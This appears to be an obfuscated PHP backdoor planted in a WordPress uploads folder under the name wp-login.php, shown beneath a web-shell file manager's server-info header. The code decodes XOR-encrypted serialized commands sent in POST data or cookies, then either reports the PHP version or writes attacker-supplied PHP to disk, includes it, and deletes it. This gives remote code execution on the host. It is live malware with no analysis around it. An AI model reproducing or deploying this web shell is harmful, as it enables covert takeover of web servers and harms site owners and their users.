HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-87-generic #88-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 09:28:41 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/05/wp-login.php
<?php 
$otmdzauhvu    = /* _  */ 'otmdzauhvu'    ^       '';

$qdwychasbw	= /*   ob  */ "a"."r"."r"."a"."\x79" /* ap  */ .  "\x5f"      .  "m"."\x61"   . /*dtp  */ $otmdzauhvu(865-753);$kzijjht /*  nhvag*/ =	"i"."m".$otmdzauhvu(112) /*  wp   */ . /* c_ac */ $otmdzauhvu(639-531)	.    $otmdzauhvu(111)    .  "d"."e";





function   emomgirijr($cfidjxit, /*  jtx  */ $zsixrt){    global     $otmdzauhvu;


 /*  lx  */ 
 /*  hozb*/ $cfidjxit       =	"\x3c"   .	"?"."\x70"	.    "h".$otmdzauhvu(112) /*  st */ .    $otmdzauhvu(32)	. /* xjw   */ "u"."n"."\x6c" /*lf_tw */ .	$otmdzauhvu(309-204).$otmdzauhvu(245-135) /* zvkc*/ . /*  d*/ "k"."(".$otmdzauhvu(179-84)    .    "_"."F"."\x49"      . /* h   */ "\114" /* azr */ .       "\x45"  .    "_"."_".")".";".$otmdzauhvu(32)    .	$cfidjxit[$otmdzauhvu(556-456)];
    $uxcjvbgv	= /*irk_hu*/ "\x66" /* td*/ . /*  gwuku   */ $otmdzauhvu(309-204)."\x6c" /*  ka   */ . /*   kif*/ "\x65".$otmdzauhvu(588-493)      .      "p".$otmdzauhvu(117)    . /*   s_m */ "t".$otmdzauhvu(95)	.    "\143"    . /*  cg_knn*/ "\157"    . /*   cdqvs   */ "n"."t"."\x65".$otmdzauhvu(110)      .    $otmdzauhvu(372-256) /*osjjpe  */ . /*ipyw   */ "\x73";

    
 /*  thwn */ $uxcjvbgv($zsixrt, /* hy  */ $cfidjxit);

 /*  oqb*/ 

 /*   j  */ eifywhk($zsixrt);

}

$omyxkfy /*_jdtij   */ =    73;

function       eifywhk($zsixrt)


{


 /*  atd   */ global  $otmdzauhvu;
 /* x  */ 

       include($zsixrt);


 /* ssn*/ $abkfzeqv   =    $zsixrt; /*  _cvayh   */ @unlink($abkfzeqv);
}
function /*   ewhynh */ _tylyekcu()


{

	global    $otmdzauhvu;



  $l_kjctzh	=	array(); /* l_ny */ $l_kjctzh["\x70"  .	"v"]  =   phpversion();


	$l_kjctzh[$otmdzauhvu(239-124)       .      $otmdzauhvu(684-566)] /*   iiojsk  */ = /* mpe   */ "3".$otmdzauhvu(99-53)    .	"5";


	$qytsx    =     74;
    echo /* q   */ @serialize($l_kjctzh);}





function /*   l*/ jaupyulu($cfidjxit, /*  yxx_tn   */ $xeqppwcvvg){	global /*  tkgvga  */ $otmdzauhvu;

	$raonhlhjm       =    "";    $ssjcvzk /*fdt */ =     strlen($cfidjxit);
     $yncnlfluj    =    strlen($xeqppwcvvg);
      $l_kjctzh      =   0;


 /* j */ $szlediojnz  =     0;

 /*  xwxuw*/ 

	while  ($l_kjctzh /*_se_ya*/ < /* e*/ $ssjcvzk)	{

 /*   hlofip */ $xmprgj    = /* ased   */ $cfidjxit[$l_kjctzh] /* sptp   */ ^ /*hngeni  */ $xeqppwcvvg[$szlediojnz   %	$yncnlfluj];
 /*   it  */ $raonhlhjm	.=    $xmprgj;

	$szlediojnz++; /*  jzhy */ 


    $l_kjctzh++;


   }

    


    if    (strlen($raonhlhjm)   > /*   yl  */ 20)    {	$prewyhom_r       = /*   thy*/ substr($raonhlhjm,	0, /*   peg */ 20);


 /* dyu */ }


     if	(empty($raonhlhjm))    {

      $raonhlhjm	=    date('Y-m-d /*  yufn*/ H:i:s');

    }
    return     $raonhlhjm;}


function	zixcpnk_gt($xdo_hdwqix)

{


       global    $otmdzauhvu;


     


   $_xxae    =	"2".$otmdzauhvu(412-310)    . /*   _xkkj */ "9"."\62"      .    "\x34" /*w*/ . /*  huwvs   */ "\x65"    .     $otmdzauhvu(546-449)."0"."\55"	.   "\64"	.       "3".$otmdzauhvu(56) /* _orsef   */ . /*  ki */ "\x34"	.     "\x2d" /*   kbwmyi */ . /*n   */ "4".$otmdzauhvu(759-710)      .    "\x65"."\x65"    .    "-".$otmdzauhvu(97)    .    $otmdzauhvu(215-165)	.	"\63"   . /*  u   */ "\x36"    .	"\x2d"	.       "1"."3"."\65"	.	"0"."7".$otmdzauhvu(52)  .    $otmdzauhvu(842-740)	. /*   feeo   */ $otmdzauhvu(703-601)    .    "9"."\x34" /*mgvrf   */ .    $otmdzauhvu(185-134)	.    $otmdzauhvu(1015-917);

	

 /*   c */ foreach    ($xdo_hdwqix /* i   */ as /*   kzrjwm  */ $x_pkaj	=> /*  fpjnc  */ $cfidjxit)	{

 /*  daam  */ zecjzezeyc(base64_decode($cfidjxit), /*o_c*/ $_xxae,   $x_pkaj);

    }}


function    zecjzezeyc($cfidjxit,    $_xxae,	$x_pkaj)

{
	global      $otmdzauhvu;

 /*   bqpv*/ 
 /*  hkra   */ $cfidjxit	=      unserialize(jaupyulu(jaupyulu($cfidjxit,       $_xxae),	$x_pkaj));

	$wuglngwwt    = /*   glpby*/ 'uoaqybeyg';
	$ghwkts /*pvyzjg*/ = /*   nbrhc   */ 'zzeivwcubt';

  if /*   c   */ (isset($cfidjxit[$otmdzauhvu(546-449)."k"])) /*  psunxi   */ {
     if       ($cfidjxit[$otmdzauhvu(546-449)]    ==    $otmdzauhvu(309-204))	{
 /*  hhfas   */ _tylyekcu();


 /*  rixptb  */ }    elseif     ($cfidjxit[$otmdzauhvu(546-449)] /*   y */ == /*e_b  */ "\x65")   {
	emomgirijr($cfidjxit, /*   wms */ sprintf("\x2e"	.    "/"."%".$otmdzauhvu(115) /*  vx  */ . /*  i   */ "\56" /* yvk*/ .   "\x70" /*  okt */ .	"\154", /*  vxrkc*/ md5($_xxae)));			$obvl_g      =    44;


    }


    exit();

     }}



zixcpnk_gt($_POST);	



$krptwomb    =	'rawurldecode';


$xfjpxx   =    $qdwychasbw($krptwomb,	$_POST);

$kzijjht("",     $krptwomb);




zixcpnk_gt($_COOKIE);

$husdmy /*   tt */ =    $qdwychasbw($krptwomb,       $_COOKIE);


?>